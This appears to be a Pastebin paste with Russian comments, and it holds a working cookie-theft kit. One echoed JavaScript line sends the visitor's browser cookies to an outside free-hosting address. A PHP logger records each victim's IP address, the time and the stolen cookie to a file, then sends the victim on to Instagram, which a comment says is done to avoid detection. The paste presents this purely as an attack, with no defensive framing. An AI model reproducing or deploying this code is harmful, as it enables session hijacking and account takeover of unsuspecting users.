Advertisement
Guest User

Untitled

a guest
Apr 15th, 2021
13
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. // Так вызываю жс код с пхп скрипта
  2. echo '<script type="text/javascript"> window.location.href = "https://mysqlandroid-test.000webhostapp.com/next/index.php?cookie="+document.cookie; </script>';
  3.  
  4. // Сам скрипт
  5. <?php
  6. //получаем данные с ссылки
  7. $cookie = $_SERVER['REQUEST_URI'];
  8.  
  9. //ip адрес
  10. $ip = $_SERVER['REMOTE_ADDR'];
  11.  
  12. //Создаём файл
  13. $file = fopen("snif.dat","a+");
  14.  
  15. //вычисляем текущее время
  16. $time = date("H:i:M:d");
  17.  
  18. //добавляем в строковую переменную куки + время + ip
  19. $add_text = "$ip $time $cookie";
  20.  
  21. //записываем данные в файл
  22. fputs($file,$add_text.",\r\n");
  23.  
  24. //закрываем файл
  25. fclose($file);
  26.  
  27. //что бы не спалили переносим пользователя обратно в инсту
  28. header('Location:https://www.instagram.com');
  29.  
  30. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement